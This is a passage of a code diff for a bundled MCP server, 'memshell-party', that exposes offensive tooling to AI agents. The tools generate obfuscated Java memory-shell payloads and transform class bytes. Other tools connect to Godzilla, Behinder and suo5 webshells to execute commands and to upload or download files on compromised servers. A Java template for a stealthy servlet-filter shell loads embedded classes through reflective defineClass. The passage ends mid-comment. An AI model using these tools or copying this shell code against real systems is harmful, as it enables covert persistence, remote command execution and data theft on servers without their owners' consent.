|
+
packer: z.string().optional(),
|
|
2743
|
+
byPassJavaModule: z.boolean().optional(),
|
|
2744
|
+
staticInitialize: z.boolean().optional(),
|
|
2745
|
+
shrink: z.boolean().optional(),
|
|
2746
|
+
renamePackage: z.boolean().optional(),
|
|
2747
|
+
relocateFrom: z.string().optional(),
|
|
2748
|
+
relocateTo: z.string().optional(),
|
|
2749
|
+
entryMethod: z.string().optional(),
|
|
2750
|
+
newClassName: z.string().optional(),
|
|
2751
|
+
randomName: z.boolean().optional(),
|
|
2752
|
+
obfuscate: z.boolean().optional(),
|
|
2753
|
+
obfuscationOptions: memShellInput.obfuscationOptions,
|
|
2754
|
+
server: z.string().optional(),
|
|
2755
|
+
probeMethod: z.enum(["ResponseBody", "ResponseHeader"]).optional(),
|
|
2756
|
+
respHeaderName: z.string().optional()
|
|
1955
2757
|
};
|
|
1956
2758
|
var connectInput = {
|
|
1957
2759
|
name: z.string().optional().describe(
|
|
@@ -1965,7 +2767,8 @@ var connectInput = {
|
|
|
1965
2767
|
headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
|
|
1966
2768
|
suo5Mode: z.enum(["auto", "v2", "v1"]).optional().describe("suo5 protocol variant (default: auto)"),
|
|
1967
2769
|
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
1968
|
-
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
|
|
2770
|
+
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
|
|
2771
|
+
upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
|
|
1969
2772
|
};
|
|
1970
2773
|
var execInput = {
|
|
1971
2774
|
name: z.string().optional().describe(
|
|
@@ -1982,7 +2785,8 @@ var execInput = {
|
|
|
1982
2785
|
headerName: z.string().optional().describe("gate header name from generate_memshell shellToolConfig (usually User-Agent)"),
|
|
1983
2786
|
headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
|
|
1984
2787
|
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
1985
|
-
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
|
|
2788
|
+
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
|
|
2789
|
+
upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
|
|
1986
2790
|
};
|
|
1987
2791
|
var transferConnInput = {
|
|
1988
2792
|
name: execInput.name,
|
|
@@ -1994,6 +2798,7 @@ var transferConnInput = {
|
|
|
1994
2798
|
headerValue: execInput.headerValue,
|
|
1995
2799
|
insecure: execInput.insecure,
|
|
1996
2800
|
timeoutMs: execInput.timeoutMs,
|
|
2801
|
+
upgradeProtocol: execInput.upgradeProtocol,
|
|
1997
2802
|
remoteCharset: z.string().optional().describe(
|
|
1998
2803
|
"godzilla only: charset for non-ASCII remote paths (any Java label, e.g. GBK; default UTF-8)"
|
|
1999
2804
|
)
|
|
@@ -2021,12 +2826,82 @@ var targetSaveInput = {
|
|
|
2021
2826
|
headerName: z.string().optional().describe("gate header name (shellToolConfig.headerName)"),
|
|
2022
2827
|
headerValue: z.string().optional().describe("gate header value (shellToolConfig.headerValue)"),
|
|
2023
2828
|
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
2829
|
+
upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name"),
|
|
2024
2830
|
projectRemark: z.string().optional().describe("project remark (merged into the project)"),
|
|
2025
2831
|
projectCategory: z.string().optional().describe("project category (merged into the project)"),
|
|
2026
2832
|
shellRemark: z.string().optional().describe("remark for this shell")
|
|
2027
2833
|
};
|
|
2028
2834
|
function createMcpServer(client) {
|
|
2029
2835
|
const server = new McpServer({ name: "memshell-party", version: CLI_VERSION });
|
|
2836
|
+
server.registerTool(
|
|
2837
|
+
"bytecode_decode",
|
|
2838
|
+
{
|
|
2839
|
+
title: "Decode Java class",
|
|
2840
|
+
description: "Decode Base64/GzipBase64 class bytes and return class metadata (MemShellParty v3+).",
|
|
2841
|
+
inputSchema: bytecodeInput
|
|
2842
|
+
},
|
|
2843
|
+
async (args) => {
|
|
2844
|
+
try {
|
|
2845
|
+
const result = await client.decodeBytecode(args.classBytesBase64);
|
|
2846
|
+
const outputFile = args.outputFile === void 0 ? void 0 : emitSinglePackResult(
|
|
2847
|
+
{ packResult: result.classBytesBase64Str },
|
|
2848
|
+
{ outFile: args.outputFile, decode: true }
|
|
2849
|
+
);
|
|
2850
|
+
return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
|
|
2851
|
+
} catch (err) {
|
|
2852
|
+
return errorContent(err);
|
|
2853
|
+
}
|
|
2854
|
+
}
|
|
2855
|
+
);
|
|
2856
|
+
server.registerTool(
|
|
2857
|
+
"bytecode_transform",
|
|
2858
|
+
{
|
|
2859
|
+
title: "Transform Java class",
|
|
2860
|
+
description: "Rename, relocate, instrument, obfuscate or pack a Java class (MemShellParty v3+).",
|
|
2861
|
+
inputSchema: bytecodeTransformInput
|
|
2862
|
+
},
|
|
2863
|
+
async (args) => {
|
|
2864
|
+
try {
|
|
2865
|
+
const renamePackage = args.renamePackage || args.relocateFrom !== void 0 || args.relocateTo !== void 0;
|
|
2866
|
+
if (renamePackage && (!args.relocateFrom || !args.relocateTo)) {
|
|
2867
|
+
throw new Error("Package relocation requires relocateFrom and relocateTo.");
|
|
2868
|
+
}
|
|
2869
|
+
const {
|
|
2870
|
+
outputFile: outputPath,
|
|
2871
|
+
obfuscate: _obfuscate,
|
|
2872
|
+
obfuscationOptions,
|
|
2873
|
+
probeMethod,
|
|
2874
|
+
server: server2,
|
|
2875
|
+
respHeaderName,
|
|
2876
|
+
...fields
|
|
2877
|
+
} = args;
|
|
2878
|
+
const request = {
|
|
2879
|
+
obfuscation: args.obfuscate || args.obfuscationOptions !== void 0 ? { enabled: true, options: parseObfuscationOptions(args.obfuscationOptions) } : void 0,
|
|
2880
|
+
...probeMethod === void 0 ? {} : {
|
|
2881
|
+
server: server2 ?? "Unknown",
|
|
2882
|
+
probe: {
|
|
2883
|
+
probeMethod,
|
|
2884
|
+
probeContent: "Bytecode",
|
|
2885
|
+
respHeaderName
|
|
2886
|
+
}
|
|
2887
|
+
}
|
|
2888
|
+
};
|
|
2889
|
+
const result = await client.transformBytecode({
|
|
2890
|
+
classBytesBase64: args.classBytesBase64,
|
|
2891
|
+
...Object.fromEntries(Object.entries(fields).filter(([, value]) => value !== void 0)),
|
|
2892
|
+
...renamePackage ? { renamePackage } : {},
|
|
2893
|
+
...request
|
|
2894
|
+
});
|
|
2895
|
+
const outputFile = outputPath === void 0 ? void 0 : emitSinglePackResult(
|
|
2896
|
+
{ packResult: result.packResult ?? result.classBytesBase64Str },
|
|
2897
|
+
{ outFile: outputPath, decode: result.packResult === void 0 || void 0 }
|
|
2898
|
+
);
|
|
2899
|
+
return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
|
|
2900
|
+
} catch (err) {
|
|
2901
|
+
return errorContent(err);
|
|
2902
|
+
}
|
|
2903
|
+
}
|
|
2904
|
+
);
|
|
2030
2905
|
server.registerTool(
|
|
2031
2906
|
"list_servers",
|
|
2032
2907
|
{ title: "List servers", description: "List supported servers and their shell types" },
|
|
@@ -2077,9 +2952,41 @@ function createMcpServer(client) {
|
|
|
2077
2952
|
}
|
|
2078
2953
|
}
|
|
2079
2954
|
);
|
|
2955
|
+
server.registerTool(
|
|
2956
|
+
"list_shell_tool_configs",
|
|
2957
|
+
{
|
|
2958
|
+
title: "List shell tool configs",
|
|
2959
|
+
description: "List v3 shell tool parameter names, types, enum choices and groups. An empty list means the backend uses the legacy v2 API."
|
|
2960
|
+
},
|
|
2961
|
+
async () => {
|
|
2962
|
+
try {
|
|
2963
|
+
return jsonContent(await client.getShellToolConfigs());
|
|
2964
|
+
} catch (err) {
|
|
2965
|
+
return errorContent(err);
|
|
2966
|
+
}
|
|
2967
|
+
}
|
|
2968
|
+
);
|
|
2969
|
+
server.registerTool(
|
|
2970
|
+
"list_obfuscation_options",
|
|
2971
|
+
{
|
|
2972
|
+
title: "List obfuscation options",
|
|
2973
|
+
description: "List class obfuscation option keys, defaults and valid values (v3+)"
|
|
2974
|
+
},
|
|
2975
|
+
async () => {
|
|
2976
|
+
try {
|
|
2977
|
+
return jsonContent(await client.getObfuscationOptions());
|
|
2978
|
+
} catch (err) {
|
|
2979
|
+
return errorContent(err);
|
|
2980
|
+
}
|
|
2981
|
+
}
|
|
2982
|
+
);
|
|
2080
2983
|
server.registerTool(
|
|
2081
2984
|
"generate_memshell",
|
|
2082
|
-
{
|
|
2985
|
+
{
|
|
2986
|
+
title: "Generate memory shell",
|
|
2987
|
+
description: "Generate a Java memory shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
|
|
2988
|
+
inputSchema: memShellInput
|
|
2989
|
+
},
|
|
2083
2990
|
async (args) => {
|
|
2084
2991
|
const meta = {
|
|
2085
2992
|
server: args.server,
|
|
@@ -2091,7 +2998,18 @@ function createMcpServer(client) {
|
|
|
2091
2998
|
};
|
|
2092
2999
|
const started = Date.now();
|
|
2093
3000
|
try {
|
|
2094
|
-
|
|
3001
|
+
if (args.agentArgs !== void 0 && !supportsAgentLoadArguments(args.shellType, args.packer)) {
|
|
3002
|
+
throw new Error(
|
|
3003
|
+
"agentArgs requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
|
|
3004
|
+
);
|
|
3005
|
+
}
|
|
3006
|
+
const response = await client.generateMemShell(
|
|
3007
|
+
buildMemShellRequest({
|
|
3008
|
+
...args,
|
|
3009
|
+
obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
|
|
3010
|
+
})
|
|
3011
|
+
);
|
|
3012
|
+
const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
|
|
2095
3013
|
logOp({
|
|
2096
3014
|
category: "gen",
|
|
2097
3015
|
action: "gen",
|
|
@@ -2100,7 +3018,14 @@ function createMcpServer(client) {
|
|
|
2100
3018
|
detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
|
|
2101
3019
|
meta
|
|
2102
3020
|
});
|
|
2103
|
-
return jsonContent(
|
|
3021
|
+
return jsonContent({
|
|
3022
|
+
...response,
|
|
3023
|
+
...outputFile === void 0 ? {} : { outputFile },
|
|
3024
|
+
...args.agentArgs === void 0 ? {} : {
|
|
3025
|
+
agentArgs: args.agentArgs,
|
|
3026
|
+
agentLoadExamples: agentLoadExamples(args.agentArgs)
|
|
3027
|
+
}
|
|
3028
|
+
});
|
|
2104
3029
|
} catch (err) {
|
|
2105
3030
|
logOp({
|
|
2106
3031
|
category: "gen",
|
|
@@ -2116,7 +3041,11 @@ function createMcpServer(client) {
|
|
|
2116
3041
|
);
|
|
2117
3042
|
server.registerTool(
|
|
2118
3043
|
"generate_probe",
|
|
2119
|
-
{
|
|
3044
|
+
{
|
|
3045
|
+
title: "Generate probe shell",
|
|
3046
|
+
description: "Generate a probe/detection shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
|
|
3047
|
+
inputSchema: probeInput
|
|
3048
|
+
},
|
|
2120
3049
|
async (args) => {
|
|
2121
3050
|
const meta = {
|
|
2122
3051
|
probeMethod: args.probeMethod,
|
|
@@ -2126,7 +3055,13 @@ function createMcpServer(client) {
|
|
|
2126
3055
|
};
|
|
2127
3056
|
const started = Date.now();
|
|
2128
3057
|
try {
|
|
2129
|
-
const response = await client.generateProbe(
|
|
3058
|
+
const response = await client.generateProbe(
|
|
3059
|
+
buildProbeRequest({
|
|
3060
|
+
...args,
|
|
3061
|
+
obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
|
|
3062
|
+
})
|
|
3063
|
+
);
|
|
3064
|
+
const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
|
|
2130
3065
|
logOp({
|
|
2131
3066
|
category: "probe",
|
|
2132
3067
|
action: "probe",
|
|
@@ -2135,7 +3070,7 @@ function createMcpServer(client) {
|
|
|
2135
3070
|
detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,
|
|
2136
3071
|
meta
|
|
2137
3072
|
});
|
|
2138
|
-
return jsonContent(response);
|
|
3073
|
+
return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
|
|
2139
3074
|
} catch (err) {
|
|
2140
3075
|
logOp({
|
|
2141
3076
|
category: "probe",
|
|
@@ -2191,29 +3126,19 @@ function createMcpServer(client) {
|
|
|
2191
3126
|
key: args.key,
|
|
2192
3127
|
headerName: args.headerName,
|
|
2193
3128
|
headerValue: args.headerValue,
|
|
2194
|
-
insecure: args.insecure
|
|
3129
|
+
insecure: args.insecure,
|
|
3130
|
+
upgradeProtocol: args.upgradeProtocol
|
|
2195
3131
|
});
|
|
2196
3132
|
const common = {
|
|
2197
3133
|
headerName: conn.headerName,
|
|
2198
3134
|
headerValue: conn.headerValue,
|
|
2199
3135
|
extraHeaders: conn.extraHeaders,
|
|
2200
3136
|
timeoutMs: args.timeoutMs,
|
|
2201
|
-
insecure: conn.insecure
|
|
3137
|
+
insecure: conn.insecure,
|
|
3138
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
2202
3139
|
};
|
|
2203
|
-
|
|
2204
|
-
|
|
2205
|
-
case "godzilla":
|
|
2206
|
-
result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
|
|
2207
|
-
break;
|
|
2208
|
-
case "behinder":
|
|
2209
|
-
result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
|
|
2210
|
-
break;
|
|
2211
|
-
case "suo5":
|
|
2212
|
-
result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode });
|
|
2213
|
-
break;
|
|
2214
|
-
default:
|
|
2215
|
-
throw new Error(`unknown tool ${String(conn.tool)}`);
|
|
2216
|
-
}
|
|
3140
|
+
const options = { suo5Mode: args.suo5Mode };
|
|
3141
|
+
const result = await requireProtocol(conn.tool).test({ conn, common, options });
|
|
2217
3142
|
let savedAs;
|
|
2218
3143
|
if (result.ok && conn.targetName === void 0) {
|
|
2219
3144
|
savedAs = autoSaveShell(conn);
|
|
@@ -2252,32 +3177,20 @@ function createMcpServer(client) {
|
|
|
2252
3177
|
key: args.key,
|
|
2253
3178
|
headerName: args.headerName,
|
|
2254
3179
|
headerValue: args.headerValue,
|
|
2255
|
-
insecure: args.insecure
|
|
3180
|
+
insecure: args.insecure,
|
|
3181
|
+
upgradeProtocol: args.upgradeProtocol
|
|
2256
3182
|
});
|
|
2257
3183
|
const common = {
|
|
2258
3184
|
headerName: conn.headerName,
|
|
2259
3185
|
headerValue: conn.headerValue,
|
|
2260
3186
|
extraHeaders: conn.extraHeaders,
|
|
2261
3187
|
timeoutMs: args.timeoutMs,
|
|
2262
|
-
insecure: conn.insecure
|
|
3188
|
+
insecure: conn.insecure,
|
|
3189
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
2263
3190
|
};
|
|
2264
|
-
|
|
2265
|
-
|
|
2266
|
-
|
|
2267
|
-
result = await execGodzilla(
|
|
2268
|
-
conn.url,
|
|
2269
|
-
conn.pass ?? "pass",
|
|
2270
|
-
conn.key ?? "key",
|
|
2271
|
-
args.command,
|
|
2272
|
-
{ ...common, os: args.os }
|
|
2273
|
-
);
|
|
2274
|
-
break;
|
|
2275
|
-
case "behinder":
|
|
2276
|
-
result = await execBehinder(conn.url, conn.pass ?? "rebeyond", args.command, common);
|
|
2277
|
-
break;
|
|
2278
|
-
default:
|
|
2279
|
-
throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
2280
|
-
}
|
|
3191
|
+
const protocol = requireProtocol(conn.tool);
|
|
3192
|
+
if (!protocol.exec) throw new Error(unsupportedMessage(protocol, "exec"));
|
|
3193
|
+
const result = await protocol.exec({ conn, common, options: { os: args.os } }, args.command);
|
|
2281
3194
|
let savedAs;
|
|
2282
3195
|
if (result.ok && conn.targetName === void 0) {
|
|
2283
3196
|
savedAs = autoSaveShell(conn);
|
|
@@ -2319,41 +3232,27 @@ function createMcpServer(client) {
|
|
|
2319
3232
|
key: args.key,
|
|
2320
3233
|
headerName: args.headerName,
|
|
2321
3234
|
headerValue: args.headerValue,
|
|
2322
|
-
insecure: args.insecure
|
|
3235
|
+
insecure: args.insecure,
|
|
3236
|
+
upgradeProtocol: args.upgradeProtocol
|
|
2323
3237
|
});
|
|
2324
3238
|
const common = {
|
|
2325
3239
|
headerName: conn.headerName,
|
|
2326
3240
|
headerValue: conn.headerValue,
|
|
2327
3241
|
extraHeaders: conn.extraHeaders,
|
|
2328
3242
|
timeoutMs: args.timeoutMs,
|
|
2329
|
-
insecure: conn.insecure
|
|
3243
|
+
insecure: conn.insecure,
|
|
3244
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
2330
3245
|
};
|
|
2331
3246
|
const localPath = resolveDownloadPath(args.remotePath, args.localPath, args.force ?? false);
|
|
2332
|
-
|
|
2333
|
-
|
|
2334
|
-
|
|
2335
|
-
|
|
2336
|
-
|
|
2337
|
-
|
|
2338
|
-
conn.key ?? "key",
|
|
2339
|
-
args.remotePath,
|
|
2340
|
-
{ ...common, remoteCharset: args.remoteCharset }
|
|
2341
|
-
);
|
|
2342
|
-
break;
|
|
2343
|
-
case "behinder":
|
|
2344
|
-
result = await downloadBehinder(
|
|
2345
|
-
conn.url,
|
|
2346
|
-
conn.pass ?? "rebeyond",
|
|
2347
|
-
args.remotePath,
|
|
2348
|
-
common
|
|
2349
|
-
);
|
|
2350
|
-
break;
|
|
2351
|
-
default:
|
|
2352
|
-
throw new Error(`download supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
2353
|
-
}
|
|
3247
|
+
const protocol = requireProtocol(conn.tool);
|
|
3248
|
+
if (!protocol.download) throw new Error(unsupportedMessage(protocol, "download"));
|
|
3249
|
+
let result = await protocol.download(
|
|
3250
|
+
{ conn, common, options: { remoteCharset: args.remoteCharset } },
|
|
3251
|
+
args.remotePath
|
|
3252
|
+
);
|
|
2354
3253
|
if (result.ok && result.data !== void 0) {
|
|
2355
3254
|
try {
|
|
2356
|
-
|
|
3255
|
+
writeFileSync4(localPath, result.data);
|
|
2357
3256
|
} catch (err) {
|
|
2358
3257
|
result = {
|
|
2359
3258
|
...result,
|
|
@@ -2402,40 +3301,25 @@ function createMcpServer(client) {
|
|
|
2402
3301
|
key: args.key,
|
|
2403
3302
|
headerName: args.headerName,
|
|
2404
3303
|
headerValue: args.headerValue,
|
|
2405
|
-
insecure: args.insecure
|
|
3304
|
+
insecure: args.insecure,
|
|
3305
|
+
upgradeProtocol: args.upgradeProtocol
|
|
2406
3306
|
});
|
|
2407
3307
|
const common = {
|
|
2408
3308
|
headerName: conn.headerName,
|
|
2409
3309
|
headerValue: conn.headerValue,
|
|
2410
3310
|
extraHeaders: conn.extraHeaders,
|
|
2411
3311
|
timeoutMs: args.timeoutMs,
|
|
2412
|
-
insecure: conn.insecure
|
|
3312
|
+
insecure: conn.insecure,
|
|
3313
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
2413
3314
|
};
|
|
2414
3315
|
const data = readUploadFile(args.localPath);
|
|
2415
|
-
|
|
2416
|
-
|
|
2417
|
-
|
|
2418
|
-
|
|
2419
|
-
|
|
2420
|
-
|
|
2421
|
-
|
|
2422
|
-
args.remotePath,
|
|
2423
|
-
data,
|
|
2424
|
-
{ ...common, remoteCharset: args.remoteCharset }
|
|
2425
|
-
);
|
|
2426
|
-
break;
|
|
2427
|
-
case "behinder":
|
|
2428
|
-
result = await uploadBehinder(
|
|
2429
|
-
conn.url,
|
|
2430
|
-
conn.pass ?? "rebeyond",
|
|
2431
|
-
args.remotePath,
|
|
2432
|
-
data,
|
|
2433
|
-
common
|
|
2434
|
-
);
|
|
2435
|
-
break;
|
|
2436
|
-
default:
|
|
2437
|
-
throw new Error(`upload supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
2438
|
-
}
|
|
3316
|
+
const protocol = requireProtocol(conn.tool);
|
|
3317
|
+
if (!protocol.upload) throw new Error(unsupportedMessage(protocol, "upload"));
|
|
3318
|
+
const result = await protocol.upload(
|
|
3319
|
+
{ conn, common, options: { remoteCharset: args.remoteCharset } },
|
|
3320
|
+
args.remotePath,
|
|
3321
|
+
data
|
|
3322
|
+
);
|
|
2439
3323
|
let savedAs;
|
|
2440
3324
|
if (result.ok && conn.targetName === void 0) {
|
|
2441
3325
|
savedAs = autoSaveShell(conn);
|
|
@@ -2482,6 +3366,7 @@ function createMcpServer(client) {
|
|
|
2482
3366
|
headerName: args.headerName,
|
|
2483
3367
|
headerValue: args.headerValue,
|
|
2484
3368
|
insecure: args.insecure,
|
|
3369
|
+
upgradeProtocol: args.upgradeProtocol,
|
|
2485
3370
|
remark: args.shellRemark
|
|
2486
3371
|
});
|
|
2487
3372
|
logOp({
|
|
@@ -2635,59 +3520,103 @@ async function startMcpStdio(client) {
|
|
|
2635
3520
|
await server.connect(transport);
|
|
2636
3521
|
}
|
|
2637
3522
|
|
|
2638
|
-
// src/connect/mimic-codecs.ts
|
|
2639
|
-
import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
|
|
2640
|
-
var LEGACY_CIPHER = {
|
|
2641
|
-
algorithm: "aes-ecb",
|
|
2642
|
-
encoding: "base64",
|
|
2643
|
-
padTail: false,
|
|
2644
|
-
marker: "js-var"
|
|
2645
|
-
};
|
|
2646
|
-
function resolveCipher(partial) {
|
|
2647
|
-
return { ...LEGACY_CIPHER, ...partial ?? {} };
|
|
2648
|
-
}
|
|
2649
|
-
function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
|
|
2650
|
-
const id = md5Hex(pass + secretKey).slice(0, 5);
|
|
2651
|
-
if (cipher.marker === "html-comment") {
|
|
2652
|
-
const left2 = `<!--Re${id}_config:`;
|
|
2653
|
-
return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
|
|
2654
|
-
}
|
|
2655
|
-
const left = `var Re${id}_config="`;
|
|
2656
|
-
return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
|
|
2657
|
-
}
|
|
2658
|
-
|
|
2659
3523
|
// src/custom/build.ts
|
|
2660
3524
|
import { mkdirSync as mkdirSync4, readFileSync as readFileSync6, writeFileSync as writeFileSync5 } from "fs";
|
|
2661
3525
|
import { join as join6 } from "path";
|
|
2662
3526
|
|
|
2663
|
-
// src/
|
|
2664
|
-
|
|
2665
|
-
|
|
2666
|
-
|
|
2667
|
-
|
|
2668
|
-
|
|
2669
|
-
|
|
2670
|
-
|
|
2671
|
-
|
|
2672
|
-
|
|
2673
|
-
|
|
2674
|
-
|
|
2675
|
-
|
|
2676
|
-
|
|
2677
|
-
|
|
2678
|
-
|
|
2679
|
-
|
|
2680
|
-
|
|
3527
|
+
// src/custom/java-template.ts
|
|
3528
|
+
function renderWrapperJava() {
|
|
3529
|
+
return `package mimic;
|
|
3530
|
+
|
|
3531
|
+
import java.io.*;
|
|
3532
|
+
import javax.servlet.*;
|
|
3533
|
+
import javax.servlet.http.*;
|
|
3534
|
+
|
|
3535
|
+
/** Re-exposes a consumed request body to downstream filters/servlets. */
|
|
3536
|
+
public class CachedBody extends HttpServletRequestWrapper {
|
|
3537
|
+
private final byte[] body;
|
|
3538
|
+
|
|
3539
|
+
public CachedBody(HttpServletRequest req, byte[] body) {
|
|
3540
|
+
super(req);
|
|
3541
|
+
this.body = body;
|
|
3542
|
+
}
|
|
3543
|
+
|
|
3544
|
+
public ServletInputStream getInputStream() {
|
|
3545
|
+
return new Stream(body);
|
|
3546
|
+
}
|
|
3547
|
+
|
|
3548
|
+
public BufferedReader getReader() {
|
|
3549
|
+
return new BufferedReader(new InputStreamReader(getInputStream()));
|
|
3550
|
+
}
|
|
3551
|
+
|
|
3552
|
+
static class Stream extends ServletInputStream {
|
|
3553
|
+
private final ByteArrayInputStream in;
|
|
3554
|
+
|
|
3555
|
+
Stream(byte[] body) {
|
|
3556
|
+
this.in = new ByteArrayInputStream(body);
|
|
3557
|
+
}
|
|
3558
|
+
|
|
3559
|
+
public int read() {
|
|
3560
|
+
return in.read();
|
|
3561
|
+
}
|
|
3562
|
+
|
|
3563
|
+
public boolean isFinished() {
|
|
3564
|
+
return in.available() == 0;
|
|
3565
|
+
}
|
|
3566
|
+
|
|
3567
|
+
public boolean isReady() {
|
|
3568
|
+
return true;
|
|
3569
|
+
}
|
|
3570
|
+
|
|
3571
|
+
public void setReadListener(ReadListener l) {}
|
|
3572
|
+
}
|
|
2681
3573
|
}
|
|
2682
|
-
|
|
2683
|
-
if (!profile.request) return [];
|
|
2684
|
-
return Array.isArray(profile.request) ? profile.request : [profile.request];
|
|
3574
|
+
`;
|
|
2685
3575
|
}
|
|
2686
|
-
|
|
2687
|
-
// src/custom/java-template.ts
|
|
2688
3576
|
function javaStringLiteral(s) {
|
|
2689
3577
|
return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
|
|
2690
3578
|
}
|
|
3579
|
+
function wrapperLoaderMethods(opts) {
|
|
3580
|
+
return `
|
|
3581
|
+
/** wrapper class bytes (mimic.CachedBody + its stream) \u2014 embedded so the
|
|
3582
|
+
uploaded shell stays a single self-contained class file */
|
|
3583
|
+
static final String WRAPPER_B64 = "${opts.wrapper.bodyB64}";
|
|
3584
|
+
static final String WRAPPER_STREAM_B64 = "${opts.wrapper.streamB64}";
|
|
3585
|
+
|
|
3586
|
+
static Class<?> forNameQuiet(String name, ClassLoader cl) {
|
|
3587
|
+
try {
|
|
3588
|
+
return Class.forName(name, true, cl);
|
|
3589
|
+
} catch (Throwable t) {
|
|
3590
|
+
return null;
|
|
3591
|
+
}
|
|
3592
|
+
}
|
|
3593
|
+
|
|
3594
|
+
static Class<?> defineQuiet(ClassLoader cl, String name, String b64) {
|
|
3595
|
+
try {
|
|
3596
|
+
java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass",
|
|
3597
|
+
String.class, byte[].class, int.class, int.class);
|
|
3598
|
+
m.setAccessible(true);
|
|
3599
|
+
byte[] bytes = java.util.Base64.getDecoder().decode(b64);
|
|
3600
|
+
return (Class<?>) m.invoke(cl, name, bytes, 0, bytes.length);
|
|
3601
|
+
} catch (Throwable t) {
|
|
3602
|
+
return null; // another shell in this JVM already defined it
|
|
3603
|
+
}
|
|
3604
|
+
}
|
|
3605
|
+
|
|
3606
|
+
/** Wrap the request so downstream code can re-read the JSON body we consumed. */
|
|
3607
|
+
static HttpServletRequest wrapBody(HttpServletRequest req, byte[] body) throws Exception {
|
|
3608
|
+
ClassLoader cl = ${opts.className}.class.getClassLoader();
|
|
3609
|
+
Class<?> c = forNameQuiet("mimic.CachedBody", cl);
|
|
3610
|
+
if (c == null) {
|
|
3611
|
+
defineQuiet(cl, "mimic.CachedBody$Stream", WRAPPER_STREAM_B64);
|
|
3612
|
+
c = defineQuiet(cl, "mimic.CachedBody", WRAPPER_B64);
|
|
3613
|
+
if (c == null) c = forNameQuiet("mimic.CachedBody", cl);
|
|
3614
|
+
}
|
|
3615
|
+
return (HttpServletRequest) c.getConstructor(HttpServletRequest.class, byte[].class)
|
|
3616
|
+
.newInstance(req, body);
|
|
3617
|
+
}
|
|
3618
|
+
`;
|
|
3619
|
+
}
|
|
2691
3620
|
var MD5_METHOD = String.raw`
|
|
2692
3621
|
static String md5Hex(String s) throws Exception {
|
|
2693
3622
|
MessageDigest m = MessageDigest.getInstance("MD5");
|
|
@@ -2823,9 +3752,11 @@ function sharedMethods(cipher) {
|
|
|
2823
3752
|
return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
|
|
2824
3753
|
}
|
|
2825
3754
|
function renderFilterJava(opts) {
|
|
2826
|
-
const { className, pass, secret, fields, templates, cipher } = opts;
|
|
3755
|
+
const { className, pass, secret, fields, bodyContentTypes, templates, cipher } = opts;
|
|
2827
3756
|
const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
|
|
2828
|
-
const
|
|
3757
|
+
const bodyCtsJava = bodyContentTypes.map((n) => `"${javaStringLiteral(n)}"`).join(", ");
|
|
3758
|
+
const tplsJava = templates.map((t) => ` "${javaStringLiteral(t.template)}"`).join(",\n");
|
|
3759
|
+
const ctsJava = templates.map((t) => `"${javaStringLiteral(t.contentType)}"`).join(", ");
|
|
2829
3760
|
return `package mimic;
|
|
2830
3761
|
|
|
2831
3762
|
import java.io.*;
|
|
@@ -2840,37 +3771,120 @@ import javax.servlet.http.*;
|
|
|
2840
3771
|
* mimic protocol server (matches src/connect/mimic-codecs.ts):
|
|
2841
3772
|
* cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
|
|
2842
3773
|
*
|
|
2843
|
-
* Detection uses getParameter()/getHeader()
|
|
2844
|
-
* stream
|
|
2845
|
-
*
|
|
2846
|
-
*
|
|
2847
|
-
*
|
|
3774
|
+
* Detection uses getParameter()/getHeader() first, never touching the body
|
|
3775
|
+
* stream. For JSON bodies it reads the stream ONCE and re-exposes it via a
|
|
3776
|
+
